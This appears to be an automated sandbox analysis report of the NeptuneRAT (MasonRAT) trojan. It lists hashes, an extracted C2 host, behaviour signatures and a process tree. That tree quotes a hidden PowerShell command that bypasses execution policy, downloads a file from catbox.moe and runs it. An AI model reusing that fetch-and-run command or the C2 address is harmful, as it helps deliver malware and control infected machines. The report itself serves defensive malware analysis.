Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/07/2026, 02:24

General

  • Target
    NeptuneRAT.exe
  • Size 26.1MB
  • Sample260702-cv8ppabs61
  • SHA256 17a58ccbd73e6c46dca0adb966a304a93c1fe28133169c25096e9fbfd438eca1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • neptunerat

C2
  • ko90oolkjjjkj-59089.portmap.host:59089

Signatures

  • Family: NeptuneRAT, MasonRAT

    NeptuneRAT aka MasonRAT is a trojan written in C#.

  • Detects NeptuneRAT stealer 2 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NeptuneRAT.exe
    "C:\Users\Admin\AppData\Local\Temp\NeptuneRAT.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4812
    • C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
      "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3984

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        MasonClient.exe

        • Path C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
        • Size 49KB
        • SHA256 9ebb156422c46cca4c62e859aea8b7523489760800f78c813a8ed8b510499701
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_pzkwvaya.nat.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pzkwvaya.nat.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3984-20-0x000001FEFE170000-0x000001FEFE192000-memory.dmp

        memory/4700-14-0x0000000000E10000-0x0000000000E22000-memory.dmp

        memory/4700-24-0x0000000001760000-0x0000000001770000-memory.dmp

        memory/4700-25-0x0000000001760000-0x0000000001770000-memory.dmp

        memory/4812-0-0x0000000000320000-0x0000000001D4C000-memory.dmp

        memory/4812-1-0x000000001DF90000-0x000000001DFA0000-memory.dmp